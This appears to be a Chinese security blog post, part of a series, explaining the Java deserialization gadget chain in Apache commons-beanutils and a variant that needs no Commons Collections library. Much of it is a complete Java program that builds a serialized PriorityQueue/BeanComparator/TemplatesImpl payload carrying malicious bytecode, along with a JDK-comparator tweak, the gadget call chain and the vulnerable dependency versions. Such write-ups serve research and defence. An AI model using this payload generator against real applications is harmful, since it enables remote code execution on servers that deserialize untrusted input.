Java反序列化漏洞(十)- cb链 无cc利用链

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。
其中比较常使用的有 MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。

0x01 前置知识

在之前的利用链中,有这样一条链:

  • PriorityQueue -> TransformingComparator -> ChainedTransformer -> InstantiateTransformer -> TemplatesImpl

在反序列化链中,由 TransformingComparator 触发 ChainedTransformer 来实例化 TemplatesImpl,找到一个 Comparator,绕过中间复杂过程,可以实例化 TemplatesImpl ,于是有了 CommonsBeanutils 这条链。

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的。

这个类有个共有静态方法 getProperty() ,接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值。

类似于一个 Field 的反射工具类,不过不是直接使用反射取值,而是使用反射调用其 getter 方法取值。

那么既然可以触发 getter,那就可以像 fastjson 一样来触发 TemplatesImpl 的 getOutputProperties 方法,触发后续的调用链。

BeanComparator

org.apache.commons.beanutils.BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。

BeanComparator 的 compare 方法接收两个对象,分别调用 PropertyUtils.getProperty() 方法获取两个对象的 property 属性的值,然后调用 internalCompare() 方法调用实例化时初始化的 comparator 的 compare 方法进行比较。

有了这个方法,就构造了完整的调用链。

0x02 攻击构造

代码为:

public class CommonBeanUtils {
    public static String fileName = "CommonBeanUtils.bin";

    public static void main(String[] args) throws Exception {

        // 读取恶意类 bytes[]
        InputStream inputStream = CommonBeanUtils.class.getResourceAsStream("Evil.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);

        // 初始化 PriorityQueue
        PriorityQueue<Object> queue = new PriorityQueue<>(2);
        queue.add("1");
        queue.add("2");

        // 初始化 TemplatesImpl 对象
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});
        // _name 不能为空
        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmpl, "sanshi");

        // 反射将 TemplatesImpl 放在 PriorityQueue 里
        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] objects = (Object[]) field.get(queue);
        objects[0] = tmpl;

        // 初始化 BeanComparator
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        // 反射将 BeanComparator 写入 PriorityQueue 中
        Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue, beanComparator);

        writeObjectToFile(queue, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }
}

以上代码可成功构造反序列化利用,但是有一个问题是,由于 BeanComparator 的默认 comparator 是 ComparableComparator ,这是个 CommonCollections 中的类,导致了这明明是一条 CB 的触发链,却要同时依赖 CC。增加了很多利用的限制,那该如何逃出 CC 的依赖呢?

0x03 无CC利用链

在实例化 BeanComparator 时赋予其一个 JDK 自带的并且实现了 Serializable 接口的 comparator 即可,比如 java.util.Collections$ReverseComparatorjava.lang.String$CaseInsensitiveComparator 等。

通过反射实例化 Comparator ,并在 BeanComparator 初始化时进行指定即可,这样就可以无需 CC 的依赖触发 CB 链了。

// 初始化 String$CaseInsensitiveComparator
Class c = Class.forName("java.lang.String$CaseInsensitiveComparator");
Constructor constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
Comparator comparator = (Comparator<?>) constructor.newInstance();

// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", comparator);

0x04 总结

1.利用说明:

  • PriorityQueue 反序列化时调用 BeanComparator 的 compare,利用这个方法发射调用 TemplatesImpl 的 getOutputProperties 方法触发恶意类的实例化。

2.Gadget 总结:

  • kick-off gadget:java.util.PriorityQueue#readObject()
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
  • chain gadget:org.apache.commons.beanutils.BeanComparator#compare()

3.调用链展示:

PriorityQueue.readObject()
    BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                    TemplatesImpl.getOutputProperties()

4.依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

本文链接:

https://sanshiok.com/archive/27.html

# 最新文章